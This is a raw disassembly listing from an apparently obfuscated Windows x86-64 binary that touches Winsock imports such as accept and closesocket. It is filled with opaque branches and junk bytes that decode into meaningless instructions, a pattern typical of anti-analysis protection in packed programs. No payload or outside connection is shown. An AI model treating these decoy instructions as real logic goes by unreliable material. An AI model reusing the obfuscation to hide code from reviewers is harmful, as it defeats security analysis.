div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039cac3
add byte [rdi], cl
mov dh, 5
push rdx
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039cb48
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039cb9c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*4]
add ecx, eax
cmp ecx, 3
je 0x14039cdc2
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039cbe7
add byte [rdi], cl
mov dh, 5
ret
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039cc6d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039ccc2
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039ccd3
add byte [rdi], cl
mov dh, 5
ret 0x26
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039cd58
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039cdac
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039cff3
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff84
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039ce0d
add byte [rdi], cl
mov dh, 5
or cl, al
add byte es:[rdi], cl
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039ce90
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039cee5
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff84
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039cf04
add byte [rdi], cl
mov dh, 5
adc eax, eax
add byte es:[rdi], cl
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm6, xmm6
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039cf89
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039cfdd
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*8]
cmp eax, 3
je 0x14039c75a
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d026
add byte [rdi], cl
mov dh, 5
out dx, eax
mov esi, 0xbe0f0026
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d0ac
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039d101
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d112
add byte [rdi], cl
mov dh, 5
add edi, dword [rsi - 0x41f0ffda]
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c6f0
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
je 0x14039c6f0
jmp 0x14039c744
movsd xmm0, qword [0x14057f8c8]
movsd xmm1, qword [0x14057f8c0]
movsd xmm2, qword [0x14057f8b8]
movsd xmm3, qword [0x14057f8b0]
jmp 0x14039d24a
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
inc dword [rsp + 0x24]
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x14039bb34
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
add ecx, eax
cmp ecx, 3
je 0x14039d457
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d27c
add byte [rdi], cl
mov dh, 5
cdq
mov esp, 0xbe0f0026
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d302
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039d357
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d368
add byte [rdi], cl
mov dh, 5
lodsd eax, dword [rsi]
mov ebx, 0xbe0f0026
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d3ed
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039d441
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039dad3
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*2]
cmp eax, 3
je 0x14039d692
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d4b7
add byte [rdi], cl
mov dh, 5
pop rsi
mov edx, 0xbe0f0026
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d53d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039d592
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
rol byte [rbx - 0x49f0f840], 0x15
scasb al, byte [rdi]
mov ecx, 0xf440026
mov esi, 0x41d231c2
div eax
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d5a3
add byte [rdi], cl
mov dh, 5
jb 0x14039d561
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
add byte es:[rdi], cl
mov esi, 0xe4570fc0
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d628
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039d67c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*4]
add ecx, eax
cmp ecx, 3
je 0x14039d8a2
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d6c7
add byte [rdi], cl
mov dh, 5
movabs rax, 0xe4570fc0be0f0026
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d74d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039d7a2
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039d7b3
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d838
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039d88c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039dad3
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff85
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039d8ed
add byte [rdi], cl
mov dh, 5
sub byte [rsi - 0x41f0ffda], dh
ror byte [rdi], 0x57
in eax, dx
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039d970
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039d9c5
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff85
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039d9e4
add byte [rdi], cl
mov dh, 5
xor dword [rbp - 0x41f0ffda], esi
ror byte [rdi], 0x57
in eax, dx
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm6, xmm6
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039da69
